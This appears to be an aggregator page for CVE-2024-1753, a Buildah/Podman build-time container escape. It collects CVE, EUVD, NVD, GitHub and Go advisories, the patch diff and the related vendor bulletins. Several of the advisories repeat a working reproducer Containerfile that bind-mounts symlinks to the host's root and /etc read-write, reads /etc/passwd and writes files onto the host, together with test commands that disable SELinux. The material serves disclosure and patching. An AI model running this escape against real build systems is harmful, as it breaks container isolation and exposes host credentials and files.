Buildah: buildah: container escape via improper bind mount validation
cve-program · CVE-2024-1753
PublishedA flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.
Read the publisher's advisoryeuvd · EUVD-2024-0867
PublishedA flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.
Read the publisher's advisorynvd · CVE-2024-1753
PublishedA flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.
Read the publisher's advisoryosv · GHSA-874v-pj72-92f3
Published### Impact _What kind of vulnerability is it? Who is impacted?_ Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed. ### Patches From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman. ``` # cat /root/cve-2024-1753.diff --- internal/volumes/volumes.go +++ internal/volumes/volumes.go @@ -11,6 +11,7 @@ import ( "errors" + "github.com/containers/buildah/copier" "github.com/containers/buildah/define" "github.com/containers/buildah/internal" internalParse "github.com/containers/buildah/internal/parse" @@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st // buildkit parity: support absolute path for sources from current build context if contextDir != "" { // path should be /contextDir/specified path - newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source)) + evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{}) + if err != nil { + return newMount, "", err + } + newMount.Source = evaluated } else { // looks like its coming from `build run --mount=type=bind` allow using absolute path // error out if no source is set ``` ### Reproducer Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system. Use the following Containerfile ``` # cat ~/cve_Containerfile FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 ``` #### To Test ##### Testing with an older version of Podman with the issue ``` setenforce 0 podman build -f ~/cve_Containerfile . ``` As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. ``` podman rm -a podman rmi -a rm /BIND_BREAKOUT rm /etc/BIND_BREAKOUT2 setenforce 1 podman build -f ~/cve_Containerfile . ``` Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. However, the files in both the `/` and `/etc` directories on the host system will be displayed. ##### Testing with the patch Use the same commands as testing with an older version of Podman. When running using the patched version of Podman, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes. NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image. ### Workarounds Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory. ### References Unknown.
Read the publisher's advisoryosv · GHSA-pmf3-c36m-g5cf
Published### Impact _What kind of vulnerability is it? Who is impacted?_ Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed. ### Patches From @nalind ``` # cat /root/cve-2024-1753.diff --- internal/volumes/volumes.go +++ internal/volumes/volumes.go @@ -11,6 +11,7 @@ import ( "errors" + "github.com/containers/buildah/copier" "github.com/containers/buildah/define" "github.com/containers/buildah/internal" internalParse "github.com/containers/buildah/internal/parse" @@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st // buildkit parity: support absolute path for sources from current build context if contextDir != "" { // path should be /contextDir/specified path - newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source)) + evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{}) + if err != nil { + return newMount, "", err + } + newMount.Source = evaluated } else { // looks like its coming from `build run --mount=type=bind` allow using absolute path // error out if no source is set ``` ### Reproducer Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system. Use the following Containerfile ``` # cat ~/cve_Containerfile FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 ``` #### To Test ##### Testing with an older version of Buildah with the issue ``` setenforce 0 buildah build -f ~/cve_Containerfile . ``` As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. ``` buildah rm -a buildah rmi -a rm /BIND_BREAKOUT rm /etc/BIND_BREAKOUT2 setenforce 1 buildah build -f ~/cve_Containerfile . ``` Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. However, the files in both the `/` and `/etc` directories on the host system will be displayed. ##### Testing with the patch Use the same commands as testing with an older version of Buildah. When running using the patched version of Buildah, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes. NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image. ### Workarounds Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory. ### References Unknown.
Read the publisher's advisoryosv · GO-2024-2658
PublishedA crafted container file can use a dummy image with a symbolic link to the host filesystem as a mount source and cause the mount operation to mount the host filesystem during a build-time RUN step. The commands inside the RUN step will then have read-write access to the host filesystem.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
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cve-program · CVE-2024-1753
PublishedBuildah: buildah: container escape via improper bind mount validation
A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.
- Source published
- 18 Mar 2024 14:23:44 UTC
- Source modified
- 4 Nov 2026 21:08:58 UTC
- Saved here
- 4 Nov 2026 22:54:02 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 8.6 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
euvd · EUVD-2024-0867
PublishedA flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root …
A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Mar 18, 2024, 2:23:44 PM
dateUpdated: Nov 4, 2026, 9:08:58 PM
34 related source bulletins · separate from aliases
SUSE-SU-2024:3151-1: Security update for buildah
CVE-2024-1753 · CVE-2024-24786 · CVE-2024-28180 · CVE-2024-3727
SUSE-SU-2024:1145-1: Security update for buildah
CVE-2024-1753
RHSA-2024:2669: Red Hat Security Advisory: OpenShift Container Platform 4.15.12 security update
CVE-2024-1753 · CVE-2024-3154 · CVE-2024-28180
WID-SEC-W-2024-0751: Podman: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen
CVE-2024-1753
openSUSE-SU-2024:13784-1: buildah-1.35.1-1.1 on GA media
CVE-2024-1753
RHSA-2024:2548: Red Hat Security Advisory: podman security and bug fix update
CVE-2024-1753 · CVE-2024-24786
RHSA-2024:2097: Red Hat Security Advisory: container-tools:4.0 security update
CVE-2024-1753
SUSE-SU-2024:3120-1: Security update for buildah, docker
CVE-2024-1753 · CVE-2024-23651 · CVE-2024-23652 · CVE-2024-23653 · CVE-2024-24786 · CVE-2024-28180 · CVE-2024-3727 · CVE-2024-41110
SUSE-SU-2025:0775-1: Security update for podman
CVE-2023-45288 · CVE-2024-11218 · CVE-2024-1753 · CVE-2024-6104 · CVE-2024-9341 · CVE-2024-9407 · CVE-2024-9675 · CVE-2024-9676 · CVE-2025-27144
RHSA-2024:3254: Red Hat Security Advisory: container-tools:rhel8 security update
CVE-2022-2880 · CVE-2022-41715 · CVE-2024-1753 · CVE-2024-24786 · CVE-2024-28180
RHSA-2024:2089: Red Hat Security Advisory: podman security update
CVE-2024-1753
SUSE-SU-2024:3186-1: Security update for buildah
CVE-2024-1753 · CVE-2024-24786 · CVE-2024-28180 · CVE-2024-3727
RHSA-2024:2877: Red Hat Security Advisory: OpenShift Container Platform 4.13.42 packages and security update
CVE-2024-1753 · CVE-2024-28180
SUSE-SU-2025:20013-1: Security update for podman
CVE-2024-1753 · CVE-2024-24786 · CVE-2024-3727 · CVE-2024-6104
RHSA-2024:2084: Red Hat Security Advisory: container-tools:4.0 security update
CVE-2024-1753
RHSA-2024:2055: Red Hat Security Advisory: buildah security update
CVE-2024-1753
SUSE-SU-2025:20279-1: Security update for podman
CVE-2023-45288 · CVE-2024-11218 · CVE-2024-1753 · CVE-2024-3727 · CVE-2024-9407 · CVE-2025-22869 · CVE-2025-27144
RHSA-2024:2077: Red Hat Security Advisory: container-tools:rhel8 security and bug fix update
CVE-2022-4122 · CVE-2022-32149 · CVE-2024-1753
RHSA-2024:2064: Red Hat Security Advisory: buildah security update
CVE-2024-1753
RHSA-2024:2098: Red Hat Security Advisory: container-tools:rhel8 security and bug fix update
CVE-2024-1753
SUSE-SU-2024:1058-1: Security update for podman
CVE-2024-1753
RHSA-2024:2090: Red Hat Security Advisory: container-tools:rhel8 security update
CVE-2024-1753
RHSA-2024:2645: Red Hat Security Advisory: podman security update
CVE-2024-1753
RHSA-2024:2784: Red Hat Security Advisory: OpenShift Container Platform 4.12.57 security update
CVE-2024-1753 · CVE-2024-3154 · CVE-2024-28180
RHSA-2024:2672: Red Hat Security Advisory: OpenShift Container Platform 4.14.24 packages and security update
CVE-2023-45288 · CVE-2024-1753 · CVE-2024-3154 · CVE-2024-28180
msrc_CVE-2024-1753: Buildah: full container escape at build time
CVE-2024-1753
openSUSE-SU-2024:13826-1: podman-5.0.1-1.1 on GA media
CVE-2024-1753
SUSE-SU-2024:1144-1: Security update for buildah
CVE-2024-1753
SUSE-SU-2024:1143-1: Security update for buildah
CVE-2024-1753
RHSA-2024:2049: Red Hat Security Advisory: OpenShift Container Platform 4.13.41 packages and security update
CVE-2023-45288 · CVE-2024-1753 · CVE-2024-28180
SUSE-SU-2024:1146-1: Security update for podman
CVE-2024-1753
RHSA-2024:2066: Red Hat Security Advisory: buildah security update
CVE-2024-1753
SUSE-SU-2024:1142-1: Security update for buildah
CVE-2024-1753
SUSE-SU-2024:1059-1: Security update for podman
CVE-2024-1753
- Source published
- Mar 18, 2024, 2:23:44 PM (timezone not stated)
- Source modified
- Nov 4, 2026, 9:08:58 PM (timezone not stated)
- Saved here
- 15 Nov 2026 00:38:54 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 8.6 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
nvd · CVE-2024-1753
PublishedA flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root …
A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-59
Original publisher date fields
published: 2024-03-18T15:15:41.170
lastModified: 2026-11-04T21:17:37.447
- Source published
- 18 Mar 2024 15:15:41 UTC
- Source modified
- 4 Nov 2026 21:17:37 UTC
- Saved here
- 6 Nov 2026 03:36:32 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 8.6 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
osv · GHSA-874v-pj72-92f3
PublishedPodman affected by CVE-2024-1753 container escape at build time
### Impact _What kind of vulnerability is it? Who is impacted?_ Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed. ### Patches From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman. ``` # cat /root/cve-2024-1753.diff --- internal/volumes/volumes.go +++ internal/volumes/volumes.go @@ -11,6 +11,7 @@ import ( "errors" + "github.com/containers/buildah/copier" "github.com/containers/buildah/define" "github.com/containers/buildah/internal" internalParse "github.com/containers/buildah/internal/parse" @@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st // buildkit parity: support absolute path for sources from current build context if contextDir != "" { // path should be /contextDir/specified path - newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source)) + evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{}) + if err != nil { + return newMount, "", err + } + newMount.Source = evaluated } else { // looks like its coming from `build run --mount=type=bind` allow using absolute path // error out if no source is set ``` ### Reproducer Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system. Use the following Containerfile ``` # cat ~/cve_Containerfile FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 ``` #### To Test ##### Testing with an older version of Podman with the issue ``` setenforce 0 podman build -f ~/cve_Containerfile . ``` As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. ``` podman rm -a podman rmi -a rm /BIND_BREAKOUT rm /etc/BIND_BREAKOUT2 setenforce 1 podman build -f ~/cve_Containerfile . ``` Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. However, the files in both the `/` and `/etc` directories on the host system will be displayed. ##### Testing with the patch Use the same commands as testing with an older version of Podman. When running using the patched version of Podman, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes. NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image. ### Workarounds Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory. ### References Unknown.
- Source published
- 28 Mar 2024 17:53:52 UTC
- Source modified
- 10 Sep 2026 03:50:00 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
CVSS_V4 · CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Publisher rating · MODERATE
osv · GHSA-pmf3-c36m-g5cf
PublishedContainer escape at build time
### Impact _What kind of vulnerability is it? Who is impacted?_ Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed. ### Patches From @nalind ``` # cat /root/cve-2024-1753.diff --- internal/volumes/volumes.go +++ internal/volumes/volumes.go @@ -11,6 +11,7 @@ import ( "errors" + "github.com/containers/buildah/copier" "github.com/containers/buildah/define" "github.com/containers/buildah/internal" internalParse "github.com/containers/buildah/internal/parse" @@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st // buildkit parity: support absolute path for sources from current build context if contextDir != "" { // path should be /contextDir/specified path - newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source)) + evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{}) + if err != nil { + return newMount, "", err + } + newMount.Source = evaluated } else { // looks like its coming from `build run --mount=type=bind` allow using absolute path // error out if no source is set ``` ### Reproducer Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system. Use the following Containerfile ``` # cat ~/cve_Containerfile FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 ``` #### To Test ##### Testing with an older version of Buildah with the issue ``` setenforce 0 buildah build -f ~/cve_Containerfile . ``` As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. ``` buildah rm -a buildah rmi -a rm /BIND_BREAKOUT rm /etc/BIND_BREAKOUT2 setenforce 1 buildah build -f ~/cve_Containerfile . ``` Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. However, the files in both the `/` and `/etc` directories on the host system will be displayed. ##### Testing with the patch Use the same commands as testing with an older version of Buildah. When running using the patched version of Buildah, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes. NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image. ### Workarounds Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory. ### References Unknown.
- Source published
- 19 Mar 2024 20:06:52 UTC
- Source modified
- 10 Sep 2026 03:50:10 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
Publisher rating · HIGH
osv · GO-2024-2658
PublishedContainer escape at build time in github.com/containers/buildah
A crafted container file can use a dummy image with a symbolic link to the host filesystem as a mount source and cause the mount operation to mount the host filesystem during a build-time RUN step. The commands inside the RUN step will then have read-write access to the host filesystem.
- Source published
- 22 Mar 2024 16:47:09 UTC
- Source modified
- 4 Feb 2026 02:20:44 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.